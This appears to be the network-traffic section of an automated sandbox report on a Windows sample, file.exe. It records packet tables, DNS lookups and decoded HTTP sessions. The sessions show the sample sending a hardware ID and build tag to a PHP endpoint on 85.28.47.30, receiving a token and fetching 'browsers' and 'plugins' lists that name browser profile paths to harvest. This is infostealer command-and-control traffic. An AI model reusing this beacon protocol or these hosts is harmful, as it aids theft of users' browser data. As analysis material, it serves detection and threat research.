Jul 4, 2024 22:21:53.768829107 CEST	443	49806	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:53.768910885 CEST	49806	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:53.769227982 CEST	49806	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:53.769247055 CEST	443	49806	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:53.770560026 CEST	49807	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:53.770586967 CEST	443	49807	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:53.770659924 CEST	49807	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:53.770904064 CEST	49807	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:53.770916939 CEST	443	49807	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:53.855709076 CEST	80	49805	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:53.855807066 CEST	49805	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:53.969166994 CEST	49805	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:53.969443083 CEST	49808	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:53.974253893 CEST	80	49808	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:53.974284887 CEST	80	49805	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:53.974347115 CEST	49808	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:53.974364996 CEST	49805	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:53.974447966 CEST	49808	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:53.979316950 CEST	80	49808	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:54.421705961 CEST	443	49807	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:54.422336102 CEST	49807	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:54.422353029 CEST	443	49807	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:54.422775030 CEST	443	49807	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:54.423063040 CEST	49807	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:54.423130035 CEST	443	49807	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:54.423228025 CEST	49807	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:54.423253059 CEST	49807	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:54.423258066 CEST	443	49807	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:54.425323009 CEST	443	49806	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:54.425566912 CEST	49806	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:54.425595045 CEST	443	49806	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:54.425959110 CEST	443	49806	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:54.426219940 CEST	49806	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:54.426278114 CEST	443	49806	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:54.426346064 CEST	49806	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:54.426367044 CEST	49806	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:54.426372051 CEST	443	49806	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:54.617300034 CEST	443	49807	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:54.617398024 CEST	443	49807	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:54.617450953 CEST	49807	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:54.617777109 CEST	49807	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:54.617799997 CEST	443	49807	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:54.702481031 CEST	80	49808	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:54.702560902 CEST	49808	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:54.703246117 CEST	49808	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:54.704845905 CEST	443	49806	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:54.705203056 CEST	443	49806	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:54.705264091 CEST	49806	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:54.705354929 CEST	49806	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:54.705369949 CEST	443	49806	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:54.707997084 CEST	80	49808	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:55.037386894 CEST	80	49808	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:55.037448883 CEST	49808	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:55.141092062 CEST	49808	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:55.141413927 CEST	49809	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:55.146311998 CEST	80	49809	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:55.146395922 CEST	49809	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:55.146517992 CEST	80	49808	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:55.146523952 CEST	49809	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:55.146569014 CEST	49808	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:55.151253939 CEST	80	49809	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:55.860275984 CEST	80	49809	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:55.860450983 CEST	49809	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:55.860937119 CEST	49809	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:55.865782022 CEST	80	49809	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:56.081366062 CEST	80	49809	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:56.081423044 CEST	49809	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:56.187896967 CEST	49809	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:56.188210011 CEST	49810	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:56.321865082 CEST	80	49809	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:56.321923971 CEST	49809	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:56.322078943 CEST	80	49810	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:56.322088957 CEST	80	49809	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:56.322151899 CEST	49809	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:56.322164059 CEST	49810	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:56.322396040 CEST	49810	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:56.327260971 CEST	80	49810	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:57.017716885 CEST	80	49810	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:57.020282984 CEST	49810	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:57.020823002 CEST	49810	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:57.025602102 CEST	80	49810	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:57.237225056 CEST	80	49810	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:57.237477064 CEST	49810	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:57.346163988 CEST	49810	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:57.346446037 CEST	49811	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:57.351548910 CEST	80	49811	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:57.351613998 CEST	49811	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:57.351743937 CEST	49811	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:57.352391005 CEST	80	49810	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:57.352489948 CEST	49810	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:57.357022047 CEST	80	49811	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:58.070933104 CEST	80	49811	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:58.071017981 CEST	49811	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:58.073456049 CEST	49811	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:58.078326941 CEST	80	49811	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:58.297158003 CEST	80	49811	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:58.297240973 CEST	49811	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:58.405699015 CEST	49811	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:58.405992031 CEST	49812	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:58.631186008 CEST	80	49812	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:58.631256104 CEST	49812	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:58.632904053 CEST	80	49811	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:58.632967949 CEST	49811	80	192.168.2.5	77.91.77.82

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 4, 2024 22:21:12.246385098 CEST	54533	53	192.168.2.5	1.1.1.1
Jul 4, 2024 22:21:12.246759892 CEST	62567	53	192.168.2.5	1.1.1.1
Jul 4, 2024 22:21:12.412130117 CEST	53	62567	1.1.1.1	192.168.2.5
Jul 4, 2024 22:21:12.412158012 CEST	53	65365	1.1.1.1	192.168.2.5
Jul 4, 2024 22:21:12.412473917 CEST	53	54533	1.1.1.1	192.168.2.5
Jul 4, 2024 22:21:12.413455963 CEST	53	55615	1.1.1.1	192.168.2.5
Jul 4, 2024 22:21:13.449218035 CEST	53	60620	1.1.1.1	192.168.2.5
Jul 4, 2024 22:21:16.260626078 CEST	53	58614	1.1.1.1	192.168.2.5
Jul 4, 2024 22:21:16.605295897 CEST	53	56087	1.1.1.1	192.168.2.5
Jul 4, 2024 22:21:16.621578932 CEST	61729	53	192.168.2.5	1.1.1.1
Jul 4, 2024 22:21:16.621757984 CEST	55366	53	192.168.2.5	1.1.1.1
Jul 4, 2024 22:21:16.633095980 CEST	53	55366	1.1.1.1	192.168.2.5
Jul 4, 2024 22:21:16.633107901 CEST	53	61729	1.1.1.1	192.168.2.5
Jul 4, 2024 22:21:16.753377914 CEST	53	54611	1.1.1.1	192.168.2.5
Jul 4, 2024 22:21:17.602202892 CEST	53	65108	1.1.1.1	192.168.2.5
Jul 4, 2024 22:21:20.273811102 CEST	54198	53	192.168.2.5	1.1.1.1
Jul 4, 2024 22:21:20.274045944 CEST	53522	53	192.168.2.5	1.1.1.1
Jul 4, 2024 22:21:20.281893015 CEST	53	54198	1.1.1.1	192.168.2.5
Jul 4, 2024 22:21:20.282465935 CEST	53	53522	1.1.1.1	192.168.2.5
Jul 4, 2024 22:21:21.351327896 CEST	62280	53	192.168.2.5	1.1.1.1
Jul 4, 2024 22:21:21.352539062 CEST	56763	53	192.168.2.5	1.1.1.1
Jul 4, 2024 22:21:21.358839035 CEST	53	62280	1.1.1.1	192.168.2.5
Jul 4, 2024 22:21:21.359761000 CEST	53	56763	1.1.1.1	192.168.2.5
Jul 4, 2024 22:21:30.478303909 CEST	53	49577	1.1.1.1	192.168.2.5
Jul 4, 2024 22:21:49.385128975 CEST	53	51378	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 4, 2024 22:21:12.246385098 CEST	192.168.2.5	1.1.1.1	0xff2d	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:12.246759892 CEST	192.168.2.5	1.1.1.1	0x30fb	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Jul 4, 2024 22:21:16.621578932 CEST	192.168.2.5	1.1.1.1	0xceaf	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:16.621757984 CEST	192.168.2.5	1.1.1.1	0x39b1	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jul 4, 2024 22:21:20.273811102 CEST	192.168.2.5	1.1.1.1	0x1203	Standard query (0)	accounts.youtube.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:20.274045944 CEST	192.168.2.5	1.1.1.1	0x71dc	Standard query (0)	accounts.youtube.com	65	IN (0x0001)	false
Jul 4, 2024 22:21:21.351327896 CEST	192.168.2.5	1.1.1.1	0x2904	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:21.352539062 CEST	192.168.2.5	1.1.1.1	0xd793	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 4, 2024 22:21:12.412130117 CEST	1.1.1.1	192.168.2.5	0x30fb	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 22:21:12.412130117 CEST	1.1.1.1	192.168.2.5	0x30fb	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Jul 4, 2024 22:21:12.412473917 CEST	1.1.1.1	192.168.2.5	0xff2d	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 22:21:12.412473917 CEST	1.1.1.1	192.168.2.5	0xff2d	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:12.412473917 CEST	1.1.1.1	192.168.2.5	0xff2d	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:12.412473917 CEST	1.1.1.1	192.168.2.5	0xff2d	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:12.412473917 CEST	1.1.1.1	192.168.2.5	0xff2d	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:12.412473917 CEST	1.1.1.1	192.168.2.5	0xff2d	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:12.412473917 CEST	1.1.1.1	192.168.2.5	0xff2d	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:12.412473917 CEST	1.1.1.1	192.168.2.5	0xff2d	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:12.412473917 CEST	1.1.1.1	192.168.2.5	0xff2d	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:12.412473917 CEST	1.1.1.1	192.168.2.5	0xff2d	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:12.412473917 CEST	1.1.1.1	192.168.2.5	0xff2d	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:12.412473917 CEST	1.1.1.1	192.168.2.5	0xff2d	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:12.412473917 CEST	1.1.1.1	192.168.2.5	0xff2d	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:12.412473917 CEST	1.1.1.1	192.168.2.5	0xff2d	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:12.412473917 CEST	1.1.1.1	192.168.2.5	0xff2d	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:12.412473917 CEST	1.1.1.1	192.168.2.5	0xff2d	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:12.412473917 CEST	1.1.1.1	192.168.2.5	0xff2d	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:16.633095980 CEST	1.1.1.1	192.168.2.5	0x39b1	No error (0)	www.google.com			65	IN (0x0001)	false
Jul 4, 2024 22:21:16.633107901 CEST	1.1.1.1	192.168.2.5	0xceaf	No error (0)	www.google.com		172.217.16.196	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:20.281893015 CEST	1.1.1.1	192.168.2.5	0x1203	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 22:21:20.281893015 CEST	1.1.1.1	192.168.2.5	0x1203	No error (0)	www3.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jul 4, 2024 22:21:20.282465935 CEST	1.1.1.1	192.168.2.5	0x71dc	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 22:21:21.358839035 CEST	1.1.1.1	192.168.2.5	0x2904	No error (0)	play.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

slscr.update.microsoft.com

fs.microsoft.com

www.youtube.com

https:

www.bing.com

accounts.youtube.com

play.google.com

www.google.com

85.28.47.30

77.91.77.81

77.91.77.82

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	85.28.47.30	80	3472	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:19:54.597764015 CEST	408	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAAEGIJKEGHIDGCBAEB Host: 85.28.47.30 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 45 46 36 41 36 32 38 32 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4e 69 63 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 2d 2d 0d 0a Data Ascii: ------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="hwid"18EF6A6282E5845770397------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="build"Nice------HCAAEGIJKEGHIDGCBAEB--
Jul 4, 2024 22:20:22.772594929 CEST	384	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 20:20:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 156 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 32 4a 6a 4e 7a 51 77 4e 7a 52 68 4f 44 4a 6d 4e 57 55 34 4d 6a 59 78 59 6d 45 30 4d 47 4a 69 59 6a 52 6a 4e 6a 56 6a 5a 54 5a 6d 5a 6a 55 78 4e 47 45 32 4e 54 67 34 4d 47 55 32 4f 54 41 30 5a 54 63 79 4f 44 45 33 59 6d 4d 79 5a 6a 4e 6b 4d 6a 5a 6c 4f 54 56 6a 4e 6a 63 32 59 54 41 79 66 47 70 69 5a 48 52 68 61 57 70 76 64 6d 64 38 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 3d Data Ascii: Y2JjNzQwNzRhODJmNWU4MjYxYmE0MGJiYjRjNjVjZTZmZjUxNGE2NTg4MGU2OTA0ZTcyODE3YmMyZjNkMjZlOTVjNjc2YTAyfGpiZHRhaWpvdmd8ZWltZWhydnpvZC5maWxlfDB8MHwxfDF8MXwxfDF8MXw=
Jul 4, 2024 22:20:22.774260998 CEST	466	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDHCBAEHJJJKKFIDGHJE Host: 85.28.47.30 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 63 37 34 30 37 34 61 38 32 66 35 65 38 32 36 31 62 61 34 30 62 62 62 34 63 36 35 63 65 36 66 66 35 31 34 61 36 35 38 38 30 65 36 39 30 34 65 37 32 38 31 37 62 63 32 66 33 64 32 36 65 39 35 63 36 37 36 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------JDHCBAEHJJJKKFIDGHJEContent-Disposition: form-data; name="token"cbc74074a82f5e8261ba40bbb4c65ce6ff514a65880e6904e72817bc2f3d26e95c676a02------JDHCBAEHJJJKKFIDGHJEContent-Disposition: form-data; name="message"browsers------JDHCBAEHJJJKKFIDGHJE--
Jul 4, 2024 22:20:22.958024979 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 20:20:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jul 4, 2024 22:20:22.958061934 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jul 4, 2024 22:20:22.959795952 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJK Host: 85.28.47.30 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 63 37 34 30 37 34 61 38 32 66 35 65 38 32 36 31 62 61 34 30 62 62 62 34 63 36 35 63 65 36 66 66 35 31 34 61 36 35 38 38 30 65 36 39 30 34 65 37 32 38 31 37 62 63 32 66 33 64 32 36 65 39 35 63 36 37 36 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="token"cbc74074a82f5e8261ba40bbb4c65ce6ff514a65880e6904e72817bc2f3d26e95c676a02------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="message"plugins------GHDBAFIIECBFHIEBKJJK--
